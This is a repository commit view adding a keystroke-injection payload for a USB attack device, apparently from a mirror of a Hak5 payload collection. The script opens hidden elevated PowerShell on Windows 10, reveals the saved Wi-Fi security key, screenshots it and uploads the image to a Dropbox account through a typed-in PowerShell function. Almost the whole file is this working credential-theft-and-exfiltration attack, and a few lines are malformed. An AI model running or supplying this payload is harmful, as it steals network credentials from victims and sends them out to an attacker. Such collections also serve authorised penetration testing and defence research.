mirror of https://github.com/hak5/omg-payloads.git
commit
8470c692f7
|
@ -0,0 +1,223 @@
|
||||||
|
REM Title: WiFi_Passwd_Grab
|
||||||
|
REM Author: LulzAnarchyAnon
|
||||||
|
REM Description: This is a Three stage payload that begins by navagating to Network
|
||||||
|
REM Description: and Sharing Center. It then opens the wireless properties security
|
||||||
|
REM Description: tab, and makes the Network security key visible finally taking a screenshot.
|
||||||
|
REM Description: In the Second stage the screenshot is saved to the Downloads folder.
|
||||||
|
REM Description: In the Third, and final stage the screenshot is uploaded via Dropbox.
|
||||||
|
REM Target: Windows 10 PowerShell
|
||||||
|
REM Props: Darren Kitchen and I am Jakoby
|
||||||
|
REM Version: 1.0
|
||||||
|
REM Category: Exfiltration
|
||||||
|
|
||||||
|
REM This payload may need minor adjustments to run properly depending on
|
||||||
|
REM Attacker, and Target devices.
|
||||||
|
|
||||||
|
REM Check out I am Jakoby on Youtube to set up your DropBox for uploads.
|
||||||
|
|
||||||
|
REM THIS PAYLOAD IS FOR DEMONSTRATION PURPOSES ONLY, AND NOT INTENDED FOR MISUSE!
|
||||||
|
|
||||||
|
|
||||||
|
REM Stage 1
|
||||||
|
|
||||||
|
GUI r
|
||||||
|
DELAY 200
|
||||||
|
STRING powershell Start-Process PowerShell -verb runas -windowstyle hidden
|
||||||
|
DELAY 1000
|
||||||
|
ENTER
|
||||||
|
DELAY 1000
|
||||||
|
ALT Y
|
||||||
|
DELAY 1000
|
||||||
|
GUI r
|
||||||
|
DELAY 1000
|
||||||
|
STRING control.exe /name Microsoft.NetworkAndSharingCenter
|
||||||
|
DELAY 1000
|
||||||
|
ENTER
|
||||||
|
DELAY 1000
|
||||||
|
TAB
|
||||||
|
DELAY 1000
|
||||||
|
ENTER
|
||||||
|
DELAY 1000
|
||||||
|
TAB
|
||||||
|
DELAY 1000
|
||||||
|
ENTER
|
||||||
|
DELAY 1000
|
||||||
|
CTRL TAB
|
||||||
|
DELAY 1000
|
||||||
|
TAB
|
||||||
|
DELAY 1000
|
||||||
|
SHIFT TAB
|
||||||
|
DELAY 1000
|
||||||
|
SHIFT TAB
|
||||||
|
DELAY 1000
|
||||||
|
SHIFT TAB
|
||||||
|
DELAY 1000
|
||||||
|
SHIFT TAB
|
||||||
|
DELAY 1000
|
||||||
|
SHIFT TAB
|
||||||
|
DELAY 1000
|
||||||
|
SHIFT TAB
|
||||||
|
DELAY 1000
|
||||||
|
SPACE
|
||||||
|
DELAY 2000
|
||||||
|
PRINTSCREEN
|
||||||
|
DELAY 2000
|
||||||
|
ALT F4
|
||||||
|
DELAY 2000
|
||||||
|
ALT F4
|
||||||
|
DELAY 2000
|
||||||
|
ALT F4
|
||||||
|
DELAY 2000
|
||||||
|
|
||||||
|
|
||||||
|
REM STAGE 2
|
||||||
|
|
||||||
|
GUI r
|
||||||
|
DELAY 200
|
||||||
|
STRING powershell -windowstyle hidden
|
||||||
|
ENTER
|
||||||
|
DELAY 2000
|
||||||
|
STRING mspaint
|
||||||
|
ENTER
|
||||||
|
DELAY 5000
|
||||||
|
CTRL v
|
||||||
|
DELAY 1000
|
||||||
|
CTRL s
|
||||||
|
DELAY 1000
|
||||||
|
ALT d
|
||||||
|
DELAY 1000
|
||||||
|
STRING %USERPROFILE%\Downloads
|
||||||
|
DELAY 1000
|
||||||
|
ENTER
|
||||||
|
DELAY 1000
|
||||||
|
TAB
|
||||||
|
DELAY 1000
|
||||||
|
TAB
|
||||||
|
DELAY 1000
|
||||||
|
TAB
|
||||||
|
DELAY 1000
|
||||||
|
TAB
|
||||||
|
DELAY 1000
|
||||||
|
TAB
|
||||||
|
DELAY 1000
|
||||||
|
TAB
|
||||||
|
DELAY 1000
|
||||||
|
STRING wifipasswd
|
||||||
|
DELAY 1000
|
||||||
|
ALT s
|
||||||
|
DELAY 1000
|
||||||
|
ALT F4
|
||||||
|
DELAY 5000
|
||||||
|
|
||||||
|
|
||||||
|
STAGE 3
|
||||||
|
|
||||||
|
GUI r
|
||||||
|
DELAY 200
|
||||||
|
STRING powershell
|
||||||
|
DELAY 200
|
||||||
|
ENTER
|
||||||
|
DELAY 2000
|
||||||
|
|
||||||
|
STRING function DropBox-Upload {
|
||||||
|
|
||||||
|
DELAY 500
|
||||||
|
ENTER
|
||||||
|
|
||||||
|
STRING [CmdletBinding()]
|
||||||
|
DELAY 500
|
||||||
|
ENTER
|
||||||
|
STRING param (
|
||||||
|
|
||||||
|
DELAY 500
|
||||||
|
ENTER
|
||||||
|
|
||||||
|
STRING [Parameter (Mandatory = $True, ValueFromPipeline = $True)]
|
||||||
|
DELAY 500
|
||||||
|
ENTER
|
||||||
|
STRING [Alias("f")]
|
||||||
|
DELAY 500
|
||||||
|
ENTER
|
||||||
|
STRING [string]$SourceFilePath
|
||||||
|
DELAY 500
|
||||||
|
ENTER
|
||||||
|
STRING )
|
||||||
|
DELAY 500
|
||||||
|
ENTER
|
||||||
|
STRING $DropBoxAccessToken = "$DropBoxAccessToken = "YOUR-DROPBOX-ACCESS-TOKEN-HERE
|
||||||
|
DELAY 500
|
||||||
|
ENTER
|
||||||
|
STRING "
|
||||||
|
DELAY 500
|
||||||
|
ENTER
|
||||||
|
STRING $outputFile = Split-Path $SourceFilePath -leaf
|
||||||
|
DELAY 500
|
||||||
|
ENTER
|
||||||
|
STRING $TargetFilePath="/$outputFile"
|
||||||
|
DELAY 500
|
||||||
|
ENTER
|
||||||
|
STRING $arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }'
|
||||||
|
DELAY 500
|
||||||
|
ENTER
|
||||||
|
STRING $authorization = "Bearer " + $DropBoxAccessToken
|
||||||
|
DELAY 500
|
||||||
|
ENTER
|
||||||
|
STRING $headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
|
||||||
|
DELAY 500
|
||||||
|
ENTER
|
||||||
|
STRING $headers.Add("Authorization", $authorization)
|
||||||
|
DELAY 500
|
||||||
|
ENTER
|
||||||
|
STRING $headers.Add("Dropbox-API-Arg", $arg)
|
||||||
|
DELAY 500
|
||||||
|
ENTER
|
||||||
|
STRING $headers.Add("Content-Type", 'application/octet-stream')
|
||||||
|
DELAY 500
|
||||||
|
ENTER
|
||||||
|
STRING Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers
|
||||||
|
DELAY 500
|
||||||
|
ENTER
|
||||||
|
STRING }
|
||||||
|
DELAY 5000
|
||||||
|
GUI r
|
||||||
|
DELAY 200
|
||||||
|
STRING %USERPROFILE%\Downloads\
|
||||||
|
DELAY 500
|
||||||
|
ENTER
|
||||||
|
DELAY 500
|
||||||
|
STRING wifipasswd
|
||||||
|
DELAY 1000
|
||||||
|
GUI r
|
||||||
|
DELAY 500
|
||||||
|
STRING %USERPROFILE%\Downloads\
|
||||||
|
DELAY 500
|
||||||
|
ENTER
|
||||||
|
DELAY 500
|
||||||
|
STRING wifipasswd
|
||||||
|
DELAY 500
|
||||||
|
ALT h
|
||||||
|
DELAY 200
|
||||||
|
TAB
|
||||||
|
DELAY 200
|
||||||
|
TAB
|
||||||
|
DELAY 200
|
||||||
|
TAB
|
||||||
|
DELAY 200
|
||||||
|
TAB
|
||||||
|
DELAY 200
|
||||||
|
TAB
|
||||||
|
DELAY 500
|
||||||
|
ENTER
|
||||||
|
DELAY 500
|
||||||
|
ALT F4
|
||||||
|
DELAY 1000
|
||||||
|
CTRL v
|
||||||
|
DELAY 5000
|
||||||
|
STRING | DropBox-Upload
|
||||||
|
DELAY 500
|
||||||
|
ENTER
|
||||||
|
DELAY 5000
|
||||||
|
ENTER
|
||||||
|
ALT F4
|
||||||
|
DELAY 100
|
||||||
|
ENTER
|
Loading…
Reference in New Issue